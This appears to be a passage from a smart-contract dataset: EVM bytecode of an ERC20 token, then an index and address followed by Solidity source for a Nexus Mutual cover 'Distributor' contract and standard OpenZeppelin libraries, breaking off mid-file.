0x608060405234801561001057600080fd5b506004361061010b5760003560e01c806370a08231116100a257806395d89b411161007157806395d89b41146102a6578063a457c2d7146102c4578063a9059cbb146102f4578063dd62ed3e14610324578063f2fde38b146103545761010b565b806370a0823114610232578063715018a61461026257806379cc67901461026c5780638da5cb5b146102885761010b565b8063313ce567116100de578063313ce567146101ac57806339509351146101ca57806340c10f19146101fa57806342966c68146102165761010b565b806306fdde0314610110578063095ea7b31461012e57806318160ddd1461015e57806323b872dd1461017c575b600080fd5b610118610370565b6040516101259190611674565b60405180910390f35b610148600480360381019061014391906113b8565b610402565b6040516101559190611659565b60405180910390f35b610166610425565b6040516101739190611816565b60405180910390f35b61019660048036038101906101919190611365565b61042f565b6040516101a39190611659565b60405180910390f35b6101b461045e565b6040516101c19190611831565b60405180910390f35b6101e460048036038101906101df91906113b8565b610467565b6040516101f19190611659565b60405180910390f35b610214600480360381019061020f91906113b8565b610511565b005b610230600480360381019061022b91906113f8565b61059b565b005b61024c600480360381019061024791906112f8565b6105af565b6040516102599190611816565b60405180910390f35b61026a6105f7565b005b610286600480360381019061028191906113b8565b61067f565b005b61029061069f565b60405161029d919061163e565b60405180910390f35b6102ae6106c9565b6040516102bb9190611674565b60405180910390f35b6102de60048036038101906102d991906113b8565b61075b565b6040516102eb9190611659565b60405180910390f35b61030e600480360381019061030991906113b8565b610845565b60405161031b9190611659565b60405180910390f35b61033e60048036038101906103399190611325565b610868565b60405161034b9190611816565b60405180910390f35b61036e600480360381019061036991906112f8565b6108ef565b005b60606003805461037f9061197a565b80601f01602080910402602001604051908101604052809291908181526020018280546103ab9061197a565b80156103f85780601f106103cd576101008083540402835291602001916103f8565b820191906000526020600020905b8154815290600101906020018083116103db57829003601f168201915b5050505050905090565b60008061040d6109e7565b905061041a8185856109ef565b600191505092915050565b6000600254905090565b60008061043a6109e7565b9050610447858285610bba565b610452858585610c46565b60019150509392505050565b60006012905090565b6000806104726109e7565b9050610506818585600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546105019190611868565b6109ef565b600191505092915050565b6105196109e7565b73ffffffffffffffffffffffffffffffffffffffff1661053761069f565b73ffffffffffffffffffffffffffffffffffffffff161461058d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161058490611756565b60405180910390fd5b6105978282610ec7565b5050565b6105ac6105a66109e7565b82611027565b50565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105ff6109e7565b73ffffffffffffffffffffffffffffffffffffffff1661061d61069f565b73ffffffffffffffffffffffffffffffffffffffff1614610673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066a90611756565b60405180910390fd5b61067d60006111fe565b565b6106918261068b6109e7565b83610bba565b61069b8282611027565b5050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600480546106d89061197a565b80601f01602080910402602001604051908101604052809291908181526020018280546107049061197a565b80156107515780601f1061072657610100808354040283529160200191610751565b820191906000526020600020905b81548152906001019060200180831161073457829003601f168201915b5050505050905090565b6000806107666109e7565b90506000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508381101561082c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610823906117d6565b60405180910390fd5b61083982868684036109ef565b60019250505092915050565b6000806108506109e7565b905061085d818585610c46565b600191505092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108f76109e7565b73ffffffffffffffffffffffffffffffffffffffff1661091561069f565b73ffffffffffffffffffffffffffffffffffffffff161461096b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096290611756565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d2906116d6565b60405180910390fd5b6109e4816111fe565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a56906117b6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610acf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac6906116f6565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610bad9190611816565b60405180910390a3505050565b6000610bc68484610868565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610c405781811015610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990611716565b60405180910390fd5b610c3f84848484036109ef565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad90611796565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d26576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1d90611696565b60405180910390fd5b610d318383836112c4565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015610db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dae90611736565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e4a9190611868565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610eae9190611816565b60405180910390a3610ec18484846112c9565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f37576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2e906117f6565b60405180910390fd5b610f43600083836112c4565b8060026000828254610f559190611868565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610faa9190611868565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161100f9190611816565b60405180910390a3611023600083836112c9565b5050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611097576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108e90611776565b60405180910390fd5b6110a3826000836112c4565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611129576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611120906116b6565b60405180910390fd5b8181036000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816002600082825461118091906118be565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111e59190611816565b60405180910390a36111f9836000846112c9565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b6000813590506112dd81611d62565b92915050565b6000813590506112f281611d79565b92915050565b60006020828403121561130e5761130d611a0a565b5b600061131c848285016112ce565b91505092915050565b6000806040838503121561133c5761133b611a0a565b5b600061134a858286016112ce565b925050602061135b858286016112ce565b9150509250929050565b60008060006060848603121561137e5761137d611a0a565b5b600061138c868287016112ce565b935050602061139d868287016112ce565b92505060406113ae868287016112e3565b9150509250925092565b600080604083850312156113cf576113ce611a0a565b5b60006113dd858286016112ce565b92505060206113ee858286016112e3565b9150509250929050565b60006020828403121561140e5761140d611a0a565b5b600061141c848285016112e3565b91505092915050565b61142e816118f2565b82525050565b61143d81611904565b82525050565b600061144e8261184c565b6114588185611857565b9350611468818560208601611947565b61147181611a0f565b840191505092915050565b6000611489602383611857565b915061149482611a20565b604082019050919050565b60006114ac602283611857565b91506114b782611a6f565b604082019050919050565b60006114cf602683611857565b91506114da82611abe565b604082019050919050565b60006114f2602283611857565b91506114fd82611b0d565b604082019050919050565b6000611515601d83611857565b915061152082611b5c565b602082019050919050565b6000611538602683611857565b915061154382611b85565b604082019050919050565b600061155b602083611857565b915061156682611bd4565b602082019050919050565b600061157e602183611857565b915061158982611bfd565b604082019050919050565b60006115a1602583611857565b91506115ac82611c4c565b604082019050919050565b60006115c4602483611857565b91506115cf82611c9b565b604082019050919050565b60006115e7602583611857565b91506115f282611cea565b604082019050919050565b600061160a601f83611857565b915061161582611d39565b602082019050919050565b61162981611930565b82525050565b6116388161193a565b82525050565b60006020820190506116536000830184611425565b92915050565b600060208201905061166e6000830184611434565b92915050565b6000602082019050818103600083015261168e8184611443565b905092915050565b600060208201905081810360008301526116af8161147c565b9050919050565b600060208201905081810360008301526116cf8161149f565b9050919050565b600060208201905081810360008301526116ef816114c2565b9050919050565b6000602082019050818103600083015261170f816114e5565b9050919050565b6000602082019050818103600083015261172f81611508565b9050919050565b6000602082019050818103600083015261174f8161152b565b9050919050565b6000602082019050818103600083015261176f8161154e565b9050919050565b6000602082019050818103600083015261178f81611571565b9050919050565b600060208201905081810360008301526117af81611594565b9050919050565b600060208201905081810360008301526117cf816115b7565b9050919050565b600060208201905081810360008301526117ef816115da565b9050919050565b6000602082019050818103600083015261180f816115fd565b9050919050565b600060208201905061182b6000830184611620565b92915050565b6000602082019050611846600083018461162f565b92915050565b600081519050919050565b600082825260208201905092915050565b600061187382611930565b915061187e83611930565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156118b3576118b26119ac565b5b828201905092915050565b60006118c982611930565b91506118d483611930565b9250828210156118e7576118e66119ac565b5b828203905092915050565b60006118fd82611910565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b8381101561196557808201518184015260208101905061194a565b83811115611974576000848401525b50505050565b6000600282049050600182168061199257607f821691505b602082108114156119a6576119a56119db565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611d6b816118f2565b8114611d7657600080fd5b50565b611d8281611930565b8114611d8d57600080fd5b5056fea2646970667358221220b5b950860882fd0faba386f743c34fcdb98876bdcf604a68de9a878c7f95dfa764736f6c63430008070033
[ 38 ]
0xF2B36F823eae36E53A5408D8Bd452748B24FBf76
// SPDX-License-Identifier: GPL-3.0-only pragma solidity ^0.8.0; import "@openzeppelin/contracts-v4/access/Ownable.sol"; import "@openzeppelin/contracts-v4/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts-v4/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts-v4/token/ERC20/utils/SafeERC20.sol"; import "@openzeppelin/contracts-v4/token/ERC721/ERC721.sol"; import "../../interfaces/IGateway.sol"; import "../../interfaces/INXMMaster.sol"; import "../../interfaces/IPool.sol"; contract Distributor is ERC721, Ownable, ReentrancyGuard { using SafeERC20 for IERC20; address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; event ClaimPayoutRedeemed ( uint indexed coverId, uint indexed claimId, address indexed receiver, uint amountPaid, address coverAsset ); event ClaimSubmitted ( uint indexed coverId, uint indexed claimId, address indexed submitter ); event CoverBought ( uint indexed coverId, address indexed buyer, address indexed contractAddress, uint feePercentage, uint coverPrice ); event FeePercentageChanged ( uint feePercentage ); event BuysAllowedChanged ( bool buysAllowed ); event TreasuryChanged ( address treasury ); /* feePercentage applied to every cover premium. has 2 decimals. eg.: 10.00% stored as 1000 */ uint public feePercentage; bool public buysAllowed = true; /* address where `buyCover` distributor fees and `ethOut` from `sellNXM` are sent. Controlled by Owner. */ address payable public treasury; /* NexusMutual contracts */ IGateway immutable public gateway; IERC20 immutable public nxmToken; INXMMaster immutable public master; modifier onlyTokenApprovedOrOwner(uint256 tokenId) { require(_isApprovedOrOwner(msg.sender, tokenId), "Distributor: Not approved or owner"); _; } constructor( address gatewayAddress, address nxmTokenAddress, address masterAddress, uint _feePercentage, address payable _treasury, string memory tokenName, string memory tokenSymbol ) ERC721(tokenName, tokenSymbol) { require(_treasury != address(0), "Distributor: treasury address is 0"); feePercentage = _feePercentage; treasury = _treasury; gateway = IGateway(gatewayAddress); nxmToken = IERC20(nxmTokenAddress); master = INXMMaster(masterAddress); } /** * @dev buy cover for a coverable identified by its contractAddress * @param contractAddress contract address of coverable * @param coverAsset asset of the premium and of the sum assured. * @param sumAssured amount payable if claim is submitted and considered valid * @param coverType cover type determining how the data parameter is decoded * @param maxPriceWithFee max price (including fee) to be spent on the cover. * @param data abi-encoded field with additional cover data fields * @return token id */ function buyCover ( address contractAddress, address coverAsset, uint sumAssured, uint16 coverPeriod, uint8 coverType, uint maxPriceWithFee, bytes calldata data ) external payable nonReentrant returns (uint) { require(buysAllowed, "Distributor: buys not allowed"); uint coverPrice = gateway.getCoverPrice(contractAddress, coverAsset, sumAssured, coverPeriod, IGateway.CoverType(coverType), data); uint coverPriceWithFee = feePercentage * coverPrice / 10000 + coverPrice; require(coverPriceWithFee <= maxPriceWithFee, "Distributor: cover price with fee exceeds max"); uint buyCoverValue = 0; if (coverAsset == ETH) { require(msg.value >= coverPriceWithFee, "Distributor: Insufficient ETH sent"); uint remainder = msg.value - coverPriceWithFee; if (remainder > 0) { // solhint-disable-next-line avoid-low-level-calls (bool ok, /* data */) = address(msg.sender).call{value: remainder}(""); require(ok, "Distributor: Returning ETH remainder to sender failed."); } buyCoverValue = coverPrice; } else { IERC20 token = IERC20(coverAsset); token.safeTransferFrom(msg.sender, address(this), coverPriceWithFee); token.approve(address(gateway), coverPrice); } uint coverId = gateway.buyCover{value: buyCoverValue }( contractAddress, coverAsset, sumAssured, coverPeriod, IGateway.CoverType(coverType), data ); transferToTreasury(coverPriceWithFee - coverPrice, coverAsset); // mint token using the coverId as a tokenId (guaranteed unique) _mint(msg.sender, coverId); emit CoverBought(coverId, msg.sender, contractAddress, feePercentage, coverPrice); return coverId; } /** * @notice Submit a claim for the cover * @param tokenId cover token id * @param data abi-encoded field with additional claim data fields */ function submitClaim( uint tokenId, bytes calldata data ) external onlyTokenApprovedOrOwner(tokenId) returns (uint) { // coverId = tokenId uint claimId = gateway.submitClaim(tokenId, data); emit ClaimSubmitted(tokenId, claimId, msg.sender); return claimId; } /** * @notice Submit a claim for the cover * @param tokenId cover token id * @param incidentId id of the incident * @param coveredTokenAmount amount of yield tokens covered * @param coverAsset yield token that is covered */ function claimTokens( uint tokenId, uint incidentId, uint coveredTokenAmount, address coverAsset ) external onlyTokenApprovedOrOwner(tokenId) returns (uint claimId, uint payoutAmount, address payoutToken) { IERC20 token = IERC20(coverAsset); token.safeTransferFrom(msg.sender, address(this), coveredTokenAmount); token.approve(address(gateway), coveredTokenAmount); // coverId = tokenId (claimId, payoutAmount, payoutToken) = gateway.claimTokens( tokenId, incidentId, coveredTokenAmount, coverAsset ); _burn(tokenId); if (payoutToken == ETH) { (bool ok, /* data */) = address(msg.sender).call{value: payoutAmount}(""); require(ok, "Distributor: ETH transfer to sender failed."); } else { IERC20(payoutToken).safeTransfer(msg.sender, payoutAmount); } emit ClaimSubmitted(tokenId, claimId, msg.sender); } /** * @notice Redeem the claim to the cover. Requires that the payout is completed. * @param tokenId cover token id */ function redeemClaim( uint256 tokenId, uint claimId ) public onlyTokenApprovedOrOwner(tokenId) nonReentrant { uint coverId = gateway.getClaimCoverId(claimId); require(coverId == tokenId, "Distributor: coverId claimId mismatch"); (IGateway.ClaimStatus status, uint amountPaid, address coverAsset) = gateway.getPayoutOutcome(claimId); require(status == IGateway.ClaimStatus.ACCEPTED, "Distributor: Claim not accepted"); _burn(tokenId); if (coverAsset == ETH) { (bool ok, /* data */) = msg.sender.call{value: amountPaid}(""); require(ok, "Distributor: Transfer to NFT owner failed"); } else { IERC20 erc20 = IERC20(coverAsset); erc20.safeTransfer(msg.sender, amountPaid); } emit ClaimPayoutRedeemed(tokenId, claimId, msg.sender, amountPaid, coverAsset); } /** * @notice Execute an action on a specific cover token. The action is identified by an `action` id. Allows for an ETH transfer or an ERC20 transfer. If less than the supplied assetAmount is needed, it is returned to `msg.sender`. * @dev The purpose of this function is future-proofing for updates to the cover buy->claim cycle. * @param tokenId id of the cover token * @param assetAmount optional asset amount to be transferred along with the action executed * @param asset optional asset to be transferred along with the action executed * @param action action identifier * @param data abi-encoded field with action parameters * @return response (abi-encoded response, amount withheld from the original asset amount supplied) */ function executeCoverAction(uint tokenId, uint assetAmount, address asset, uint8 action, bytes calldata data) external payable onlyTokenApprovedOrOwner(tokenId) nonReentrant returns (bytes memory response, uint withheldAmount) { if (assetAmount == 0) { return gateway.executeCoverAction(tokenId, action, data); } uint remainder; if (asset == ETH) { require(msg.value >= assetAmount, "Distributor: Insufficient ETH sent"); (response, withheldAmount) = gateway.executeCoverAction{ value: msg.value }(tokenId, action, data); remainder = assetAmount - withheldAmount; (bool ok, /* data */) = address(msg.sender).call{value: remainder}(""); require(ok, "Distributor: Returning ETH remainder to sender failed."); return (response, withheldAmount); } IERC20 token = IERC20(asset); token.safeTransferFrom(msg.sender, address(this), assetAmount); token.approve(address(gateway), assetAmount); (response, withheldAmount) = gateway.executeCoverAction(tokenId, action, data); remainder = assetAmount - withheldAmount; token.safeTransfer(msg.sender, remainder); return (response, withheldAmount); } /** * @notice get cover data * @param tokenId cover token id */ function getCover(uint tokenId) public view returns ( uint8 status, uint sumAssured, uint16 coverPeriod, uint validUntil, address contractAddress, address coverAsset, uint premiumInNXM, address memberAddress ) { return gateway.getCover(tokenId); } /** * @notice get state of a claim payout. Returns * status of cover, amount paid as part of the payout, address of the cover asset) * @param claimId id of claim */ function getPayoutOutcome(uint claimId) public view returns (IGateway.ClaimStatus status, uint amountPaid, address coverAsset) { (status, amountPaid, coverAsset) = gateway.getPayoutOutcome(claimId); } /** * @notice Set `amount` as the allowance of `spender` over the distributor's NXM tokens. * @param spender approved spender * @param amount amount approved */ function approveNXM(address spender, uint256 amount) public onlyOwner { nxmToken.approve(spender, amount); } /** * @notice Moves `amount` tokens from the distributor to `recipient`. * @param recipient recipient of NXM * @param amount amount of NXM */ function withdrawNXM(address recipient, uint256 amount) public onlyOwner { nxmToken.safeTransfer(recipient, amount); } /** * @notice Switch NexusMutual membership to `newAddress`. * @param newAddress address */ function switchMembership(address newAddress) external onlyOwner { nxmToken.approve(address(gateway), type(uint).max); gateway.switchMembership(newAddress); } /** * @notice Sell Distributor-owned NXM tokens for ETH * @param nxmIn Amount of NXM to sell * @param minEthOut minimum expected Eth received */ function sellNXM(uint nxmIn, uint minEthOut) external onlyOwner { address poolAddress = master.getLatestAddress("P1"); nxmToken.approve(poolAddress, nxmIn); uint balanceBefore = address(this).balance; IPool(poolAddress).sellNXM(nxmIn, minEthOut); uint balanceAfter = address(this).balance; transferToTreasury(balanceAfter - balanceBefore, ETH); } /** * @notice Set if buyCover calls are allowed (true) or not (false). * @param _buysAllowed value set for buysAllowed */ function setBuysAllowed(bool _buysAllowed) external onlyOwner { buysAllowed = _buysAllowed; emit BuysAllowedChanged(_buysAllowed); } /** * @notice Set treasury address where `buyCover` distributor fees and `ethOut` from `sellNXM` are sent. * @param _treasury new treasury address */ function setTreasury(address payable _treasury) external onlyOwner { require(_treasury != address(0), "Distributor: treasury address is 0"); treasury = _treasury; emit TreasuryChanged(_treasury); } /** * @notice Send `amount` of `asset` to treasury address * @param amount amount of asset * @param asset ERC20 token address or ETH */ function transferToTreasury(uint amount, address asset) internal { if (asset == ETH) { (bool ok, /* data */) = treasury.call{value: amount}(""); require(ok, "Distributor: Transfer to treasury failed"); } else { IERC20 erc20 = IERC20(asset); erc20.safeTransfer(treasury, amount); } } /** * @notice Set fee percentage for buyCover premiums. * `_feePercentage` has 2 decimals of precision ( 5000 is 50%) * @param _feePercentage fee percentage to be set */ function setFeePercentage(uint _feePercentage) external onlyOwner { feePercentage = _feePercentage; emit FeePercentageChanged(_feePercentage); } /** * @dev required to be allow for receiving ETH claim payouts */ receive () payable external { } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). 